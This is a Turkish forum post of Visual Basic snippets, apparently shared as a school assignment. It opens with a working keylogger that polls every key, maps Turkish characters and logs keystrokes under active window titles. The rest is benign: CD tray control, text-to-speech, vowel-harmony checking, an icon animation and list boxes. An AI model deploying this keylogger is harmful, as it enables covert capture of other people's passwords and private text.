yıl sonu ödevi | Resimleri - Download - İndir - Video | Skyred.Net Türkiye'nin En Genç Bilgi Paylaşım Platformu

Visual Basicte Klavye Dinleme (Keyloger)

Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer

Dim Aktarim(1 To 255) As Long
Dim Baslik As String
Dim Sayfa_Basligi As String 'Sayfa başlığını temsil eder

Private Sub dinleyici_Timer()
Dim Basilan_Tus As String 'Hangi tuşu basıldıysa onu temsil eder
Dim i As Integer
'*********************************** Sayfa Başlığını Bulma ***********************************
If Sayfa_Basligi <> Aktif_Pencere_Adini_Al(GetForegroundWindow) Then 'Eğer aktif sayfa değişmiş ise
Sayfa_Basligi = Form1.Aktif_Pencere_Adini_Al(GetForegroundWindow) 'önce Sayfa_Basligi olan değişkene aktar
log.Text = log.Text & vbCrLf & "[" & Sayfa_Basligi & "]" & vbCrLf 'daha sonrada bu değişkendeki değeri log a yaz
Maxiumum_Silme = Len(Sayfa_Basligi)
End If
'*********************************** Bitti ***********************************

'*********************************** Şimdide klavye tanımı ***********************************
'Bunlar A dan Z ye kadar olan standart tuşlar
For i = 1 To 255
sonuc = 0 'önce sıfırla
Basilan_Tus = ""
sonuc = GetAsyncKeyState(i) 'sonrada sonuca bi değer aktar
Basilan_Tus = ""
If sonuc = -32767 Then 'Yani eğer klavyeden bir tuşa basılmışsa
If (i > 64 And i < 94) Then
If GetKeyState(i) <> Aktarim(i) Then 'eğer eşit değilse
Aktarim(i) = GetKeyState(i) 'Aktar
If (Shift_Tusu = True) Then 'Yani eğer shift tuşu basılı ise
If (CapsLock_Tusu = True) Then 'eğer capslock ta açıksa
Basilan_Tus = LCase(Chr(i)) 'küçük harfe dönüştür
Else
Basilan_Tus = UCase(Chr(i)) 'büyük harfe dönüştür
End If
Else 'eğer shift tuşu basılı değilse
If (CapsLock_Tusu = True) Then 'capslock açıksa
Basilan_Tus = UCase(Chr(i)) 'büyük yaz
Else 'yoksa
Basilan_Tus = LCase(Chr(i)) 'küçük yaz
End If
End If
End If
End If
'şimdi şu türkçe diğer karakterlere gelelim
If (CapsLock_Tusu = True) And (Shift_Tusu = True) Then 'capslock açık ve shift basılı ise küçük yaz
Buyuk = False
ElseIf (CapsLock_Tusu = True) And (Shift_Tusu = False) Then 'capslock açık shift basılı değilse büyük yaz
Buyuk = True
ElseIf (CapsLock_Tusu = False) And (Shift_Tusu = True) Then 'capslock kapalı shift basılı ise büyük yaz
Buyuk = True
ElseIf (CapsLock_Tusu = False) And (Shift_Tusu = False) Then 'ikiside yoksa küçük yaz
Buyuk = False
End If
Select Case Buyuk
Case True
If i = 219 Then Basilan_Tus = "Ğ"
If i = 221 Then Basilan_Tus = "Ü"
If i = 186 Then Basilan_Tus = "Ş"
If i = 222 Then Basilan_Tus = "İ"
If i = 191 Then Basilan_Tus = "Ö"
If i = 220 Then Basilan_Tus = "Ç"
If i = 188 Then Basilan_Tus = ";"
If i = 190 Then Basilan_Tus = ":"
If i = 223 Then Basilan_Tus = "?"
If i = 189 Then Basilan_Tus = "_"
If i = 226 Then Basilan_Tus = ">"
If i = 73 Then Basilan_Tus = "I"
If i = 192 Then Basilan_Tus = "é"
Case False
If i = 219 Then Basilan_Tus = "ğ"
If i = 221 Then Basilan_Tus = "ü"
If i = 186 Then Basilan_Tus = "ş"
If i = 222 Then Basilan_Tus = "i"
If i = 191 Then Basilan_Tus = "ö"
If i = 220 Then Basilan_Tus = "ç"
If i = 188 Then Basilan_Tus = ","
If i = 190 Then Basilan_Tus = "."
If i = 223 Then Basilan_Tus = "*"
If i = 189 Then Basilan_Tus = "-"
If i = 226 Then Basilan_Tus = "<"
If i = 73 Then Basilan_Tus = "ı"
If i = 192 Then Basilan_Tus = """"
End Select
'bunlarda bitti
If i = 32 Then Basilan_Tus = " " 'boşluk olduğunu belirt

If i = 8 Then
If Len(log.Text) > 1 Then
log.Text = Left(log.Text, Len(log.Text) - 1) 'Silme olduğunu belirt
End If
End If

If i = 13 Then Basilan_Tus = vbCrLf
If i = 9 Then Basilan_Tus = " "
'standart karakterler bitti şimdide numaralara gelelim
Select Case i
Case 48 To 57 '0 dan 9 kadar seç
If Shift_Tusu = True Then
If i = 48 Then i = 61 '0 ı = yap
If i = 49 Then i = 33 '1 i ! yap
If i = 50 Then i = 39 '2 yi ' yap
If i = 51 Then i = 94 '3 ü ^ yap
If i = 52 Then i = 43 '4 ü + yap
If i = 53 Then i = 37 '5 i % yap
If i = 54 Then i = 38 '6 yı & yap
If i = 55 Then i = 47 '7 yi / yap
If i = 56 Then i = 40 '8 i ( yap
If i = 57 Then i = 41 '9 u ) yap
End If
Basilan_Tus = Chr(i) 'Sonucu yazdır
'Numlock taki numaralar
Case 96: Basilan_Tus = "0"
Case 97: Basilan_Tus = "1"
Case 98: Basilan_Tus = "2"
Case 99: Basilan_Tus = "3"
Case 100: Basilan_Tus = "4"
Case 101: Basilan_Tus = "5"
Case 102: Basilan_Tus = "6"
Case 103: Basilan_Tus = "7"
Case 104: Basilan_Tus = "8"
Case 105: Basilan_Tus = "9"
Case 106: Basilan_Tus = "*"
Case 107: Basilan_Tus = "+"
Case 109: Basilan_Tus = "-"
Case 110: Basilan_Tus = ","
Case 111: Basilan_Tus = "/"
'bunlarda bitti
End Select
'numaralarda bitti

'Şimdide Alt Tuşlarına bakalım
Select Case Alt_Tusu
Case True
Select Case i
Case 81: Basilan_Tus = "@"
Case 192: Basilan_Tus = "<"
Case 49: Basilan_Tus = ">"
Case 50: Basilan_Tus = "£"
Case 51: Basilan_Tus = "#"
Case 52: Basilan_Tus = "$"
Case 53: Basilan_Tus = "½"
Case 55: Basilan_Tus = "{"
Case 56: Basilan_Tus = "["
Case 57: Basilan_Tus = "]"
Case 48: Basilan_Tus = "}"
Case 223: Basilan_Tus = "\"
Case 189, 226: Basilan_Tus = "|"
Case 69: Basilan_Tus = "€"
Case 65: Basilan_Tus = "æ"
Case 83: Basilan_Tus = "ß"
End Select
End Select
'Alt tuşlarıda bitti

If Basilan_Tus <> "" Then log.Text = log.Text & Basilan_Tus
End If

Next i

Exit Sub
End Sub

Public Function Aktif_Pencere_Adini_Al(hwnd As Long) As String
Dim BaslikHwnd As String
BaslikHwnd = String(GetWindowTextLength(hwnd), 0)
GetWindowText hwnd, BaslikHwnd, (GetWindowTextLength(hwnd) + 1)
Aktif_Pencere_Adini_Al = BaslikHwnd
End Function

Private Function Shift_Tusu() As Boolean
Shift_Tusu = CBool(GetAsyncKeyState(160) Or GetAsyncKeyState(161)) 'Shift tuşunu doğrula
End Function

Private Function CapsLock_Tusu() As Boolean
CapsLock_Tusu = CBool(GetKeyState(vbKeyCapital) And 1) 'CapsLock tuşunu doğrula
End Function
Private Function Alt_Tusu() As Boolean
Alt_Tusu = CBool(GetAsyncKeyState(165) Or GetAsyncKeyState(1) 'Alt tuşunu doğrula
End Function

-------------------------------------------------------

Cd-Rom u açıp kapatmak

Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long
Private Sub Command1_Click()
mciExecute ("Set CDAudio door Open")
End Sub

Private Sub Command2_Click()
mciExecute ("Set CDAudio door closed")
End Sub

Speakerdan beep çıkarmak

Private Sub Command1_Click()
Beep
End Sub

Windows Hesap Makinesini çalıştırmak

Private Sub Command1_Click()
Call Shell("calc.exe", 1)
End Sub

Windows Not defterini çalıştırma

Private Sub Command1_Click()
Call Shell("notepad.exe", 1)
End Sub
-----------------------------

Bilgisayarda Büyük ünlü uyumunu uygulamak

Public Function BüyükÜnlüUyumu(ByVal sözcük As String) As Boolean
'Büyük Ünlü Uyumunun Yapılışı
Dim KalınÜ(3), İnce(3) As String, x(1), y As Integer, kelime As String, karakter(1) As String

Dim ince_b, kalın_b As Boolean

kelime = sözcük.ToString 'Kontrol edilecek sözcük belirleniyor...

KalınÜ(0) = "a" ''''''''''''''''''''''''''''''''''''''''
KalınÜ(1) = "ı" ' '
KalınÜ(2) = "u" ' '
KalınÜ(3) = "o" ' Kalın ünlüler tanıtılıyor... '
'''''''''''''''''''''''''''''''''''''''''''''''''' ''''''''''

İnce(0) = "e" ''''''''''''''''''''''''''''''''''''''''
İnce(1) = "i" ' '
İnce(2) = "ü" ' '
İnce(3) = "ö" ' İnce ünlüler tanıtılıyor.... '
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''

x(1) = kelime.Length
For x(0) = 0 To 3
For y = 1 To x(1)
karakter(0) = Mid(kelime, y, 1)
karakter(1) = Mid(kelime, y, 1)
If LCase(karakter(0)) = LCase(KalınÜ(x(0))) Then kalın_b = True
If LCase(karakter(1)) = LCase(İnce(x(0))) Then ince_b = True
If kalın_b = True And ince_b = True Then
BüyükÜnlüUyumu = False
Else
BüyükÜnlüUyumu = True
End If
Next y
Next x(0)
'Writing by BEJO© 2003-2004'
End Function

================================================== ========
'''Bunu bir Tuşa Eklemek

Private Sub Başlat_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Başlat.Click

If BüyükÜnlüUyumu("BEJO") = True Then
MsgBox("Büyük ünlü uyumuna Uyuyor")
Else
MsgBox("Büyük ünlü uyumuna Uymuyor")

End If
End Sub

--------------------------------------

Yazıları Sese Çevirmek

Microsoft'un Windows XP ve Office XP içerisine gizlice gömdüğü sesli komut özelliğini, çok basit bir kod vasıtasıyla kullanabilirsiniz.

***************************************
Dim speech As SpVoice

Private Sub Command1_Click()
speech.Speak Text1
End Sub

Private Sub Form_Load()
Set speech = New SpVoice
End Sub
***************************************

Bir TextBox ve bir CommandButton ile yazdığınız her yazıyı sesli olarak dinleyebilirsiniz.
(Sadece WinXP de)

------------------------------
Visual Basic İle Animasyon

VB ile Animasyon Windows 95�te dosya kopyalama işlemini gerçekleştirdiğinizde dosyanın kopyalandığını gösteren küçük bir animasyonla karşılaşırsınız. Bu animasyon aslında bir dizi resmin sırayla gösterilmesinden başka bir şey değildir. VB ile de böyle animasyonlar yapmak çok kolaydır. Bu örneğimizi uygulamak için önceden seçeceğiniz ve ard arda gösterildiğinde bir hareket oluşturacak 3 resim bulun. Bu üç resmi sırayla oluşturacağınız 3 görüntü kutusuna (image) yerleştirin. Formun üzerine bunlardan başka bir resim kutusu, timer kontrolü ve bir tuş ekledikten sonra aşağıdaki kodları yazmaya başlayın. Burada dikkat etmeniz gereken çok önemli bir şey var, o da Formun başlık çubuğundaki resmi de değiştireceğimizden Image kutularına yerleştireceğiniz resimleri simge (ICO) olmasıdır.
General - Declarations bölümüne yazılacak
Dim y As Integer

General bölümüne yazılacak
Private Sub degistir()
y = y + 1: If y = 4 Then y = 1
�Formun Simgesini değiştir
Form1.Icon = Image1(y).Picture
�Resim kutusundaki resmi değiştir.
Picture1.Picture = Image1(y).Picture
End Sub

Private Sub Command1_Click()
End
End Sub

Private Sub Timer1_Timer()
�Timer�ın kontrolünün her bir vuruşunda...
�degistir alt yordamını cagir.
degistir
End Sub
Timer kontrolünün Interval özelliğini 500 gibi bir sayıyla değiştirmeyi unutmayıp programı çalıştırdığınızda resim kutusuna sırayla üç görüntü kutusundaki simgelerin geldiğini göreceksiniz. İşin ilginç tarafı başlık çubuğundaki simgenin de resim kutusuyla eş zamanlı olarak değişmesidir.

---------------------------

Visual Basic'te Çok Seçenekli Liste Kutuları
Çok Seçenekli Liste Kutuları Liste kutuları Visual Basic 3.0�dan itibaren bir den çok seçeneği kabul eder duruma gelmişlerdir. Liste kutusu kontrolünün nasıl kullanılacağını önceki aylarda göstermiştik. Aşağıdaki örneğimiz birden fazla seçeneği kabul eden liste kutularının nasıl kullanıldığını göstermektedir.
Sub Command1_Click ()
Dim I
'2.Liste kutusunu temizle
List2.Clear

'Eğer seçili bir nesne varsa bunu 2.liste kutusuna gönder
For I = 0 To List1.ListCount - 1
If List1.Selected(I) Then
List2.AddItem List1.List(I)
End If
Next I
End Sub

Sub Command2_Click ()
msg$ = ""
msg$ = msg$ + "Seçili Öğeler"
For I = 0 To List2.ListCount - 1
If List2.Selected(I) Then
msg$ = msg$ + Chr$(13) + List2.List(I)
End If
Next I
MsgBox msg$, 64, "Seçililer"
End Sub

Sub Form_Load ()
Dim I
'1. Liste Kutusunu ekranda görünen yazı tipleriyle doldur.
For I = 0 To Screen.FontCount - 1
List1.AddItem Screen.Fonts(I)
Next I
End Sub
Program çalıştırıldığında ekran yazıtipleri 1. Liste kutusunda belirecektir, "Gönder" tuşuna basıldığında 1. Liste kutusunda seçtiğiniz yazı tipleri 2.liste kutusuna kopyalanacak, "Liste" tuşuna basıldığında ise 2.liste kutusunda seçili olan öğeler mesaj kutusu kullanılarak görüntülenecektir. Örneğimiz çok seçenekli liste kutularına tam erişim sağlamaktadır, siz de kodları programlarınızda kullanabilirsiniz. Not: Programınızı çalıştırmadan önce liste kutularının "Multiselect" özelliğini Properties kutucuğundan "2"(Extended) yapın.

Konu Bilgileri
Konu BasligiKonu: yıl sonu ödevi	Cevap SayisiCevap Sayisi: 11 cevap var
Okunma SayısıOkunma Sayısı 1717 defa	Bu Konuyu Görüntüleyenler0 Üye ve 1 Ziyaretçi konuyu incelemekte.

	Gönderen	Konu: yıl sonu ödevi (Okunma Sayısı 1717 defa)
0 Üye ve 1 Ziyaretçi konuyu incelemekte.